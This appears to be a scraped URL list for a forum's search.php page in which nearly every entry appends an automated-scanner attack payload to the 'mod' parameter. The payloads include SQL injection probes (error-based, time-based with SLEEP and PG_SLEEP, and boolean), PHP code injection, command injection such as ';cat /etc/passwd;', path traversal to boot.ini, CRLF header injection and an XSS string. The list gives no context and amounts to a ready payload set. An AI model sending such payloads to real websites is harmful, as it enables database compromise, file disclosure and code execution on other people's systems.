http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(53=47)%20THEN%200x666F72756D%20ELSE%200x28%20END))%20AND%20'FN'='FN 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(87=87)%20THEN%200x666F72756D%20ELSE%200x28%20END))%20AND%20'ax'='ax 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%20('n2'%20LIKE%20'A9 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%2055=56%20AND%20('oE'='oE 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum')%20OR%2031=31%20AND%20('I7'='I7 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(47=53)%20THEN%200x666F72756D%20ELSE%200x28%20END))%20AND%20('1C'='1C 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(91=91)%20THEN%200x666F72756D%20ELSE%200x28%20END))%20AND%20('W1'='W1 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum'/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106)/**/AND/**/'zl'='zl 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum)%20AND%20SLEEP(5)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20(9=9 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum)%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20(9=8 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(26=26)%20THEN%200x666F72756D%20ELSE%200x28%20END))%20AND%20(98=98 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum)%20RLIKE%20(SELECT%20(CASE%20WHEN%20(71=18)%20THEN%200x666F72756D%20ELSE%200x28%20END))%20AND%20(71=71 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum,%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum,%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum,(SELECT%20(CASE%20WHEN%20(34=99)%20THEN%200x666F72756D%20ELSE%2034*(SELECT%2034%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum,(SELECT%20(CASE%20WHEN%20(51=11)%20THEN%200x666F72756D%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum,(SELECT%20(CASE%20WHEN%20(5=5)%20THEN%20SLEEP(5)%20ELSE%205*(SELECT%205%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum,(SELECT%20(CASE%20WHEN%20(83=79)%20THEN%200x666F72756D%20ELSE%2083*(SELECT%2083%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum,(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum,(SELECT%20CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20FROM%20SYSCOLUMNS) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum,EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum/**/AND/**/1=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum1 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum;%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum;%20SELECT%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forum;SELECT%20PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forumAND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))uttes) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=forumAND%201997=(SELECT%205%20FROM%20PG_SLEEP(5)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=468365e7&searchsubmit=true&source=hotsearch&mod=foruma' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=%3Cdir 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=');print(md5(1122));// 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=(SELECT%20(CASE%20WHEN%20(25=96)%20THEN%200x666F72756D%20ELSE%2025*(SELECT%2025%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=................windowswin.ini 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=;print(md5(1122));%23 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=C:%5Cboot.ini 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=dir 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=file:///c:/boot.ini 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum 0.0014 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%00' 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%20 0.0001 http://www.cncml.com/search.php?srchtxt=zbrush4r4&formhash=692490b7&searchsubmit=true&source=hotsearch&mod=forum%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 